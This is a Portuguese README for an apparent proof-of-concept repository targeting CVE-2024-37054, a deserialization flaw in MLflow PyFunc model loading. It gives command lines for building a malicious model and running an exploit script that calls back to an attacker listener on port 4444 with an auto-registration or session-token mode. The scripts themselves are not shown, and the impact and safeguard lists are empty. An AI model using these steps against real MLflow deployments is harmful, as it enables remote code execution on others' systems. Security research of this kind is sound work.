
Repositório de prova de conceito e pesquisa para CVE-2024-37054, uma falha de desserialização insegura no carregamento de modelos MLflow PyFunc que pode levar à execução remota de código.
Este repositório documenta a pesquisa sobre CVE-2024-37054, um problema de desserialização insegura que afeta o tratamento de modelos PyFunc do MLflow.
Em versões afetadas do MLflow, o carregamento de um modelo PyFunc não confiável pode fazer com que a lógica de desserialização do Python processe um objeto serializado contendo comportamento controlado pelo atacante. Se um artefato não confiável for carregado, o código pode ser executado sob as permissões do usuário ou serviço que realiza a operação de carregamento do modelo.
As versões afetadas relatadas em avisos públicos incluem:
MLflow 0.9.0 through 2.14.1
O risco principal não é simplesmente "enviar um modelo". O perigo ocorre quando uma aplicação, analista, worker ou plataforma de ML carrega um artefato de modelo serializado não confiável.
O impacto potencial inclui:
build_model.py
Cria um artefato de modelo de teste controlado para uso em um ambiente de laboratório privado e autorizado.
exploit.py
Automação privada de prova de conceito usada apenas para validar o caminho da vulnerabilidade em um ambiente de treinamento autorizado. Este repositório não inclui alvos ativos, credenciais, tokens de sessão, arquivos de configuração de VPN ou payloads destrutivos.
Execute esta prova de conceito apenas em um ambiente de laboratório autorizado.
Crie o artefato de modelo controlado:
python3 build_model.py --lhost <YOUR_IP> --lport 4444
Se você ainda não possui uma sessão autenticada, use o modo de registro automático:
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz
Este modo cria uma conta temporária de laboratório, autentica-se na aplicação e continua com o fluxo de registro e validação do modelo.
Se você já possui uma sessão autorizada válida, passe-a diretamente:
python3 exploit.py \
--lhost <YOUR_IP> \
--lport 4444 \
--session "<SESSION_TOKEN>"
Substitua:
<YOUR_IP> pelo endereço IP acessível a partir do alvo de laboratório autorizado.4444 pela porta de escuta usada em seu laboratório.<SESSION_TOKEN> pelo valor da sua sessão autorizada ativa.Nunca publique tokens de sessão reais, credenciais, arquivos de VPN, endereços de alvo ou detalhes de callback.
Organizações que usam MLflow devem tratar artefatos de modelo como entrada não confiável, a menos que sua origem e integridade tenham sido verificadas.
Salvaguardas recomendadas:
Este projeto destina-se apenas a pesquisa defensiva, educação e testes de segurança autorizados. O fluxo de prova de conceito foi avaliado exclusivamente em um ambiente de treinamento controlado. Não teste esta vulnerabilidade contra sistemas, contas, serviços ou redes sem autorização escrita explícita.